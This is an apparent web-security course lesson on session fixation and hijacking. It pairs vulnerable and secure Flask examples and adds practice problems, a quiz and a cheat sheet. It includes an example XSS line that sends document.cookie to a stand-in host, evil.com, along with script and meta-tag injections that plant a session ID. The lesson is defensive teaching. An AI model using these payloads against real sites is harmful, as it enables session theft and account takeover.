Skip to content
advanced Phase 9 · Password Storage and Session Security

Session Fixation and Hijacking

Rotate session IDs and bind them to reduce theft impact.

50m
0 problems
Topic Progress 0%

Session Fixation: When the Attacker Chooses the Session ID

Session Fixation: Forcing the Victim to Use the Attacker's Session

Session fixation is an attack where an attacker sets a known session ID in the victim's browser before the victim logs in. When the victim authenticates, the server associates the attacker's chosen session ID with the victim's authenticated session. The attacker, who knows the session ID, can now access the victim's authenticated session.

How Session Fixation Works

Attack flow:

  1. Attacker obtains a valid session ID: The attacker visits the application and receives a session ID (e.g., session_id=abc123).

  2. Attacker fixes the session ID in the victim's browser: The attacker uses one of several techniques:

    • URL parameter: https://example.com/?sessionid=abc123 (if the application accepts session IDs in URLs)
    • Cross-site scripting: Inject JavaScript that sets the cookie: <script>document.cookie='sessionid=abc123'</script>
    • Meta tag injection: <meta http-equiv="Set-Cookie" content="sessionid=abc123">
    • Network injection: If the application uses HTTP, the attacker can inject a Set-Cookie header into the response
  3. Victim logs in: The victim authenticates using the fixed session ID. The server associates abc123 with the victim's authenticated session.

  4. Attacker accesses the session: The attacker uses abc123 to access the victim's authenticated session.

Why Session Fixation Succeeds

The root cause is that the application does not issue a new session ID after authentication. The same session ID that was used before login is used after login. This allows the attacker to "fix" the session ID before authentication and use it after.

Vulnerable code:

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    
    if verify_credentials(username, password):
        # VULNERABLE — does not regenerate session ID
        session['user_id'] = get_user_id(username)
        return redirect('/dashboard')
    
    return 'Invalid credentials', 401

Secure code:

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    
    if verify_credentials(username, password):
        # SECURE — regenerate session ID on privilege change
        session.regenerate()
        session['user_id'] = get_user_id(username)
        return redirect('/dashboard')
    
    return 'Invalid credentials', 401

Session Rotation Best Practices

Session IDs must be regenerated at every privilege level change:

  1. After login: The most critical rotation point
  2. After password change: Prevents the attacker from using a previously stolen session
  3. After privilege escalation: When a user gains admin access
  4. After re-authentication: When a user re-enters their password for a sensitive action
@app.route('/change-password', methods=['POST'])
def change_password():
    user = get_current_user()
    
    if verify_password(user, request.form['current_password']):
        user.password_hash = hash_password(request.form['new_password'])
        user.save()
        
        # Regenerate session after password change
        session.regenerate()
        session['user_id'] = user.id
        
        return 'Password changed'
    
    return 'Invalid password', 401

Session Hijacking Vectors and Defense

Session Hijacking: Stealing and Using Victim Sessions

Session hijacking is the theft and use of a victim's session ID. Unlike fixation (where the attacker chooses the session ID before login), hijacking involves stealing an already-authenticated session ID.

Session Hijacking Vectors

1. XSS (Cross-Site Scripting)

If the session cookie does not have the HttpOnly flag, an attacker can steal it via XSS:

// Attacker's XSS payload
fetch('https://evil.com/?c=' + document.cookie);

Defense: Set the HttpOnly flag on session cookies. This prevents JavaScript from accessing the cookie.

2. Network Eavesdropping

If the session cookie does not have the Secure flag, it can be intercepted over unencrypted HTTP:

# Attacker captures unencrypted HTTP traffic
GET /dashboard HTTP/1.1
Cookie: session_id=abc123

Defense: Set the Secure flag and enforce HTTPS. Use HSTS to prevent downgrade attacks.

3. Session Prediction

If session IDs are generated using a predictable algorithm (e.g., sequential numbers, timestamps, or weak random number generators), an attacker can guess valid session IDs:

# VULNERABLE — predictable session ID
import random
session_id = random.randint(100000, 999999)  # Only 900,000 possibilities

# SECURE — cryptographically random session ID
import secrets
session_id = secrets.token_urlsafe(32)  # 256 bits of entropy

Defense: Use secrets.token_urlsafe() or os.urandom() to generate session IDs with at least 128 bits of entropy.

4. Session Sidejacking (Firesheep)

An attacker on the same network monitors unencrypted Wi-Fi traffic and captures session cookies from HTTP requests. The attacker replays the cookie to access the victim's session.

Defense: Enforce HTTPS for all pages (not just login). Set the Secure flag on all cookies.

5. Cross-Site Scripting via Subdomains

If the application sets cookies with Domain=.example.com, an XSS vulnerability on any subdomain (e.g., blog.example.com) can steal the session cookie for the entire domain.

Defense: Omit the Domain attribute to limit cookies to the exact host. Use separate subdomains for different applications.

Session Binding

Session binding associates a session with additional client characteristics to limit the impact of session theft:

IP Address Binding:

@app.before_request
def check_session_binding():
    if 'user_id' in session:
        if session.get('ip_address') != request.remote_addr:
            session.clear()
            return redirect('/login')

Limitations of IP binding: Users behind NAT, mobile networks, or VPNs may have changing IP addresses, causing false positives.

User-Agent Binding:

@app.before_request
def check_user_agent():
    if 'user_id' in session:
        if session.get('user_agent') != request.headers.get('User-Agent'):
            session.clear()
            return redirect('/login')

Limitations of User-Agent binding: User-Agent strings can be easily spoofed by attackers.

Device Fingerprinting:

  • Combine multiple signals (IP, User-Agent, Accept headers, TLS fingerprint)
  • Use a risk score rather than a binary allow/deny
  • Flag suspicious sessions for re-authentication rather than blocking them

Practice: Implement Secure Session Management

Implement a secure session management system that:

  1. Generates cryptographically random session IDs
  2. Regenerates the session ID on login
  3. Binds the session to the user's IP address and User-Agent
  4. Implements idle and absolute timeouts

Practice Problems

0 / 2 solved
Identify Session Fixation Vulnerability

A web application accepts session IDs via URL parameters (e.g., `https://example.com/?sessionid=abc123`). The login endpoint authenticates the user but does not regenerate the session ID. Explain how an attacker would exploit this and what the fix should be.

Solution
An attacker would:
1. Visit the application to obtain a valid session ID (e.g., `abc123`)
2. Send the victim a link: `https://example.com/?sessionid=abc123`
3. The victim clicks the link and logs in
4. The server authenticates the victim and associates `abc123` with the victim's account
5. The attacker uses `abc123` to access the victim's authenticated session

Fix:
1. Do not accept session IDs via URL parameters — use cookies only
2. Regenerate the session ID immediately after login (session rotation)
3. Set the `HttpOnly` and `Secure` flags on the session cookie

```python
@app.route('/login', methods=['POST'])
def login():
    if verify_credentials(username, password):
        session.regenerate()  # Issue new session ID
        session['user_id'] = get_user_id(username)
        return redirect('/dashboard')
```
Session ID Entropy Analysis

A web application generates session IDs using the following code. Identify the vulnerability and calculate the entropy: ```python import random import time def generate_session_id(): return str(int(time.time())) + str(random.randint(1000, 9999)) ```

Solution
This session ID generation is critically flawed:

1. **Timestamp component**: `int(time.time())` is predictable — an attacker knows the approximate time the session was created.

2. **Random component**: `random.randint(1000, 9999)` uses Python's `random` module, which is a Mersenne Twister PRNG — not cryptographically secure. It has only 9,000 possible values.

3. **Total entropy**: The timestamp reduces the search space to a narrow window (e.g., sessions created within a 1-minute window). The random component adds only ~13.1 bits of entropy (log2(9000)). An attacker can brute-force all possible session IDs within a time window in milliseconds.

Fix: Use `secrets.token_urlsafe(32)` which provides 256 bits of cryptographically secure randomness:

```python
import secrets

def generate_session_id():
    return secrets.token_urlsafe(32)
```

Quiz

1. What is the primary defense against session fixation attacks?

Question 1 options

2. Which session hijacking vector is mitigated by the `HttpOnly` cookie flag?

Question 2 options

3. Why is Python's `random` module unsuitable for generating session IDs?

Question 3 options

4. What is the limitation of IP address binding as a session security measure?

Question 4 options

5. Which of the following is NOT a session hijacking vector?

Question 5 options

Flashcards

Question

What is session fixation?

Answer

An attack where the attacker sets a known session ID in the victim's browser before login. When the victim authenticates, the server associates the attacker's session ID with the victim's account. Defeated by regenerating the session ID on login.

Question

What is the primary defense against session fixation?

Answer

Session rotation — issuing a new session ID immediately after login. The attacker's pre-set session ID becomes invalid when the server regenerates it on authentication.

Question

Why is Python's `random` module unsuitable for session IDs?

Answer

It uses the Mersenne Twister PRNG, which is not cryptographically secure. An attacker who observes enough outputs can determine the internal state and predict future values. Use `secrets.token_urlsafe()` instead.

Question

What is session binding?

Answer

Associating a session with additional client characteristics (IP address, User-Agent, device fingerprint) to limit the impact of session theft. If the characteristics change, the session is invalidated or flagged for re-authentication.

Question

What is the Firesheep attack?

Answer

A session sidejacking attack where an attacker on the same unencrypted Wi-Fi network monitors traffic and captures session cookies from HTTP requests. The attacker replays the cookie to access the victim's session. Defended by enforcing HTTPS and the Secure flag.

Revision Notes

Key Takeaways

  • 1. Session fixation is defeated by issuing a fresh session ID immediately after login (session rotation)
  • 2. Session IDs must be generated by a cryptographically secure RNG with at least 128 bits of entropy
  • 3. HttpOnly prevents XSS-based session theft; Secure prevents network eavesdropping
  • 4. Session binding (IP, User-Agent, device fingerprint) limits the impact of session theft
  • 5. Regenerate session IDs at every privilege change: login, password change, privilege escalation

Interview Tips

  • • Walk through a session fixation attack step-by-step and explain how session rotation defeats it
  • • Discuss multiple session hijacking vectors and the specific defense for each
  • • Explain why Python's `random` module is unsuitable for session IDs and what to use instead
  • • Describe session binding techniques and their limitations (IP binding causes false positives for mobile users)

Cheat Sheet

Session Fixation and Hijacking Cheat Sheet

Phase: Password Storage and Session Security | Level: advanced

Session Fixation:

  • Attacker sets a known session ID in the victim's browser before login
  • Server associates the fixed session ID with the victim's authenticated session
  • Defense: regenerate session ID on login (session rotation)

Session Hijacking Vectors:

  • XSS → HttpOnly flag
  • Network eavesdropping → Secure flag + HTTPS
  • Session prediction → cryptographically random IDs (secrets.token_urlsafe)
  • Subdomain XSS → omit Domain attribute

Session ID Requirements:

  • At least 128 bits of entropy (256 bits recommended)
  • Generated by cryptographically secure RNG (secrets, os.urandom)
  • Never accepted via URL parameters

Session Binding:

  • IP address (limited — NAT/mobile causes false positives)
  • User-Agent (limited — easily spoofed)
  • Device fingerprint (best — combine multiple signals)

Key points:

  • Session fixation is defeated by issuing a fresh session ID immediately after login
  • Session IDs must be long, random, and generated by a cryptographically secure source
  • Binding sessions to additional signals like IP or device fingerprints limits reuse after theft

Tags: sessions, web-security

Continue Learning

Before You Start

  • No prerequisites listed.